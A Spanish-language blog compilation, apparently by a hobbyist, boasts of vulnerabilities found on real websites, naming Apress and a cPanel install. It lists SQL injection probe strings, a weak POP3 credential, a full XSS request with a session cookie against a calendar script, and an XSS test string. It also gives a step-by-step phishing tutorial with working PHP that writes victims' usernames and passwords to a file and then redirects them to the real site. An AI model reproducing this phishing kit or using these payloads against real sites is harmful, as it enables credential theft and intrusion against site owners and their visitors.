<PLAINTEXT>


Estamos otra vez aqui y esta vez es muy especial. Esta vez he encontrado un XSS en nada mas y nada menos que la compañia que vende libros de profesionales para profesionales. Se trata de Apress, he encontrado una enorme vulnerabilidad la cual no ha sido descubierta por nadie aún. Quisiera decirles donde se encuentra pero por razones de seguridad me es imposible.

Solo puedo decirles que compañias como esta, que hacen libros de desarrolladores en los que explican como protegerse de estos atques deberian leer más los libro que desarrollan. Si pensaban que estas compañias eran seguras nunca lo han sido y nunca lo seran.

cPanel


Nuestro portal esta vez es comandado por el sistema de administracion para portales cPanel. Este se encuentra en el puerto 2082 del portal y desde el se puede manejar completamente cualquier acción para editar el portal. Verificando por vulnerabilidades encontre que cPanel puede ser tomado bajo control por medio de in ataque XSS y tambien por un SQL Injection. Los escritos para explotarlo se encuentran en milw0rm y son para la version cPanel 11. He aqui los enlaces:

1. cpanel 11.x XSS / Local File Inclusion Vulnerability
2. Cpanel <= 11.x (Fantastico) LFI Vulnerability (sec bypass)

Esto nos enseña que estos sistemas de codigo abierto donde puedes hacer y deshacer son muy peligrosos en estos tiempos.

Contraseña Débil

Este es el mensaje que me da el buscador de vulnerabilidades. Se debe a que el servidor de correos POP3 del portal del cual hemos estado hablando en pasadas entradas. Cuando se reviso el portal se encontro que tenia una contraseña muy debil y el servidor se puede ver afectado por esta vulnerabilidad.
Asi se ve el reporte:
Username: sa, Password: sa

Esto nos enseña que deberiamos usar contraseñas mas fuertes y que no sean iguales al nombre de usuario.

Inyectando

Otra vez aqui estamos hablando del mismo portal, pero de diferentes vulnerabilidades. Esta vez se trata de las SQL Injection. Como es comun, estas podian ser explotadas por el campo de busqueda que en esta ocasion es metodo POST. Las variantes para inyecciones que encontre fueron estas:
1. The POST variable search has been set to '.
2. The POST variable search has been set to %2527.
3. The POST variable search has been set to '.
4. Eliminada por razones de seguridad
5. The POST variable search has been set to \'.
6. The POST variable search has been set to \".
7. The POST variable search has been set to JyI%3D.

Como ven este es el portal que mas ermetico y seguro se ve, pero el que mas vulnerabilidades ofrce para ciertas personas.

Validando Entradas

En estos dias estuve observando un portal del cual ya he hablado y me puse a averiguar sus vulnerabilidades. Encontre una en el URL. Se trata de una pagina del portal exclusivamente para administradores en la que puedes subir tus fotos. El error del portal no es solo que puedo entrar a esta pagina sin permiso y subir fotos, sino que se puede subir cualquier tipo de archivo. Esto abre a la posibilidad de que cierta persona pueda explotar este hueco y subir cosas no muy agradables para el administrador

Calendario


En estos dias estuvo verificando portales de la red con vulnerabilidades y me encontre con una que ya me habia sospechado existia. Se trata del calendario de un portal en la red que por sus caracteristicas javascript era para mi juicio altamente peligroso. Para mi sorpresa cuando verifique el portal por vulnerabilidades me encontre que la unica y mas importante estaba en el calendario. Peor aun como el calendario tiene infinitos años, meses y dias las probabilidades de un ataque son inminentes para el. He aqui como explotar una de las 608 vulnerabilidades de alto riesgo:

Affected items

/quick_calendar.php

Details

The GET variable m has been set to 1>"><ScRiPt%20%0a%0d>alert(427106868739)%3B</ScRiPt> .

Request

GET



/quick_calendar.php?m=1>"><ScRiPt%20%0a%0d>alert(427106868739)%3B</ScRiPt>&y=2009&ran=9487

HTTP/1.0
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host:
Cookie: PHPSESSID=faf1f8c60d868b041ef81d7a227169e0
Connection: Close
Pragma: no-cache



Como este calendario es obra de terceros es probale que no lo probaron o buscaron por vulnerabilides en el y, ahi esta todo el portal asegurado, pero la cosa mas pequeña lo hace completamente inseguro, para el administrador y para la gente que lo visita ya que como siempre puede ser explotado por cierta persona.

Pescando

Phishing es una de las tecnicas usadas en la red para falsificar una pagina autentica para robar informacion confidencial de una o mas personas. Esto se lleva acabo mediante cierta persona que va a la pagina legitima, copia el codigo fuente de esta presionando la combinacion de teclas Ctrl+U y copiando el codigo fuente aun nuevo archivo de extension .html. Luego cambiando en el codigo fuente para nombre de usuario:

<p><label for="username">Email:</label>
<input name="username" type="text" id="username" size="20" /></p>

y para contraseña:

<p><label for="password">Password:</label>
<input name="password" id="password" size="20" type="password"></p>
Luego se crea un archivo .php con la siguiente informacion:




<?php
$name = $_POST["username"];
$pass = $_POST["password"];
$fl = fopen('POST.html', 'a');
fwrite($fl, "" .$name. ":" .$pass. "<BR><BR>");
fclose($fl);
header( 'Location: http://www.pagina a redirigir.com' ) ;
?>

En donde pagina a redirigir seria la pagina a la que despues de que el usuario a introducido su contraseña en el portal falso lo redirigira al portal en la red autentico. Guardamos el archivo con el nombre: archivo.php Despues de haber creado y editado los dos archivos vamos al archivo .html y escribimos el nombre que le dimos al archivo .php:

<form action="archivo.php" method="post">

Donde archivo.php es el archivo .php donde se llevara el nombre de usuario y la contraseña a POST.html.

Este es basicamente el modo en el que se crea una pagina para "pescar" a la gente. Para salvarnos de una de ellas siempre verifiquemos el URL y si la conexion esta siendo llevada acabo por SSL o https.

XSS Vulnerable!



Esa es la frase que resalta cada vez que encuentro una pagina con un campo de busqueda que utiliza el metodo GET(method="get")para completar la accion de busqueda en el portal web. Campos de busqueda como este dejan que cierta persona pueda jugarle una jaqueca al portal web incrustandole codigos para redirigirla a una falsa(phishing), hacer que tu ordenador baje un gusano o incluso incrustarle un keylogger. Para verificar si el campo de busqueda es vulnerable se escribe esto en él:

"/><script>alert('XSS Vulnerable!')</script>

Hablare de como hacer un keylogger 2.0 en otra entrada, pero por ahora deben cuidarse de portales vulnerables a ataques XSS como los mencionados.